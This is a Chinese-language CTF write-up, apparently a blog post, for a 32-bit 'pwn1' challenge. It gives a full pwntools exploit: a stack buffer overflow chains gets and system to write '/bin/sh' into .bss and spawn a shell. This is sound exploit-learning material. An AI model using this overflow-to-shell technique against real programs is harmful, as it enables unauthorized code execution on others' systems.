pwn1 WP

pwn1

拿到题目先检查基本信息

image-20250606164105844

32位且没有保护措施

放到IDA里观察

发现有system函数和gets函数地址,查看源代码

image-20250606195149563

image-20250606195216392

image-20250606195354821

但没有/bin/sh,所以需要手动构造

image-20250606165031659

发现可以写到栈上,开始构造payload

32位架构

from pwn import *

context.arch = 'i386'
p = process('./pwn1231')
gdb.attach(p,'b *0x8049233')

找到可以用到的地址

gets_addr    = 0x08049050
system_addr  = 0x08049070
bss_addr    = 0x804c140
ret_addr    = 0x08049022

用gets函数写入/bin/sh并调用

返回gets() 获取shell

根据vul函数

image-20250606195851965

发现覆盖缓冲区的长度为0x24+0x4=0x28

payload  = b"A" *0x28
payload += p32(gets_addr)     
payload += p32(ret_addr)     
payload += p32(bss_addr)      
payload += p32(system_addr) 
payload += p32(0)
payload += p32(bss_addr) 

最后交互

p.sendline(payload)
p.sendline(b"/bin/sh")
p.interactive()

然后开始用gdb调试

image-20250606172122926

可以看到/bin/sh已经写入eax

调试停止返回即可

posted @ 2025-06-06 21:36  myrrrr  阅读(18)  评论(0)    收藏  举报